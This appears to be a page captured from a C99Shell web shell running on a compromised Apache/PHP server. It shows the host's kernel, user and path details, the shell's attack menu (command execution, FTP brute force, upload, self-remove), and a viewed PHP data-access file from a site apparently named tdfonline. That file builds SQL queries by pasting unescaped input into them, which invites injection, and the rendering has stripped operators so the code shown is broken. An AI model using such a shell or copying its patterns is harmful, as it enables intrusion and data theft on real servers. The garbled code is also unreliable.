!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/tdfonline/php/datos/   drwxr-xr-x
Free 14.82 GB of 61.93 GB (23.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     dt_galeria.php (3.75 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class dt_galeria extends toba_datos_tabla
{
    function 
get_listado($filtro=array())
    {
        
$where = array();
        if (isset(
$filtro['estado'])) {
            
$where[] = "t_g.estado = ".quote($filtro['estado']);
        }

        if (isset(
$filtro['fecha_desde'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_desde']); //2011-03-31
            
$fecha_desde $y."-".$m."-".$d;
            
$where[] = "t_g.fecha_alta >= ".quote($fecha_desde);
        }
        if (isset(
$filtro['fecha_hasta'])) {
            list(
$y,$m,$d)=explode("-",$filtro['fecha_hasta']); //2011-03-31
            
$fecha_hasta $y."-".$m."-".$d." 23:59:59";
            
$where[] = "t_g.fecha_alta <= ".quote($fecha_hasta);
        }

        if (isset(
$filtro['usuario_alta'])) {
            
$where[] = "t_g.usuario_alta ILIKE ".quote("%{$filtro['usuario_alta']}%");
        }

        if (isset(
$filtro['portada'])) {
            
$where[] = "t_g.portada = '".$filtro['portada']."'";
        }

        if (isset(
$filtro['tapas_portada'])) {
            
$where[] = "t_g.tapas_portada = '".$filtro['tapas_portada']."'";
        }

        
$sql "SELECT
            t_g.id_galeria,
            t_g.nombre,
            t_g.descripcion,
            t_g.estado,
            CASE 
                WHEN t_g.estado='A' THEN 'Activa'
                WHEN t_g.estado='I' THEN 'Inactiva'
                ELSE t_g.estado
            END as estado_descripcion,
            (select count(id_foto) from foto where id_galeria = t_g.id_galeria)  as cantidad_fotos,
            t_g.usuario_alta,
            t_g.fecha_alta,
            t_g.portada, t_g.orden_portada,
            t_g.tapas_portada, t_g.orden_tapas_portada
 
        FROM
            galeria as t_g
        ORDER BY t_g.id_galeria DESC"
;

        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        }

        return 
toba::db('tdfonline')->consultar($sql);
    }

    function 
get_descripciones()
    {
        
$sql "SELECT id_galeria, nombre FROM galeria ORDER BY nombre";
        return 
toba::db('tdfonline')->consultar($sql);
    }

    function 
eliminar_galeria($id_galeria)
    {
        
$sql "SELECT foto FROM foto WHERE id_galeria = '$id_galeria'";
        
$datos toba::db('tdfonline')->consultar($sql); 

        
$sql "DELETE FROM galeria WHERE id_galeria = '$id_galeria'";
        if (
toba::db('tdfonline')->ejecutar($sql)){

            if(
count($datos)>0){

                foreach(
$datos as $dato){

                    if(!empty(
$dato['foto'])){
                        
$folder_path "../www/fotos/";
                        
$nombre_archivo $dato['foto']; 
                        
$destino=$folder_path.$nombre_archivo;
                        
unlink($destino);            
                    }

                }

                return 
true;
            }
       
        }else{
            return 
false;
        }
    }

    function 
get_activas(){

        
$sql "SELECT
            t_g.id_galeria,
            t_g.nombre,
            t_g.estado,
            '#'||t_g.id_galeria||' '||t_g.nombre as descripcion
        FROM galeria as t_g 
        WHERE t_g.estado = 'A'
        ORDER BY t_g.id_galeria DESC"
;

        if (
count($where)>0) {
            
$sql sql_concatenar_where($sql$where);
        }

        return 
toba::db('tdfonline')->consultar($sql);

    }

    function 
set_portada($array_datos){

        
$sql "UPDATE galeria SET portada = 0 WHERE estado = 'A'";
        
toba::db('tdfonline')->ejecutar($sql);

        foreach(
$array_datos as $dato){
            if(!empty(
$dato['id_galeria'])){
                
$sql "UPDATE galeria SET portada = 1, orden_portada = '".$dato['orden']."' WHERE estado = 'A' AND id_galeria = '".$dato['id_galeria']."'";
                
toba::db('tdfonline')->ejecutar($sql);                        
            }
        }
        return 
true;
    }

    function 
set_tapas_portada($array_datos){

        
$sql "UPDATE galeria SET tapas_portada = 0 WHERE estado = 'A'";
        
toba::db('tdfonline')->ejecutar($sql);

        foreach(
$array_datos as $dato){
            if(!empty(
$dato['id_galeria'])){
                
$sql "UPDATE galeria SET tapas_portada = 1, orden_tapas_portada = '".$dato['orden']."' WHERE estado = 'A' AND id_galeria = '".$dato['id_galeria']."'";
                
toba::db('tdfonline')->ejecutar($sql);                        
            }
        }
        return 
true;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8709 ]--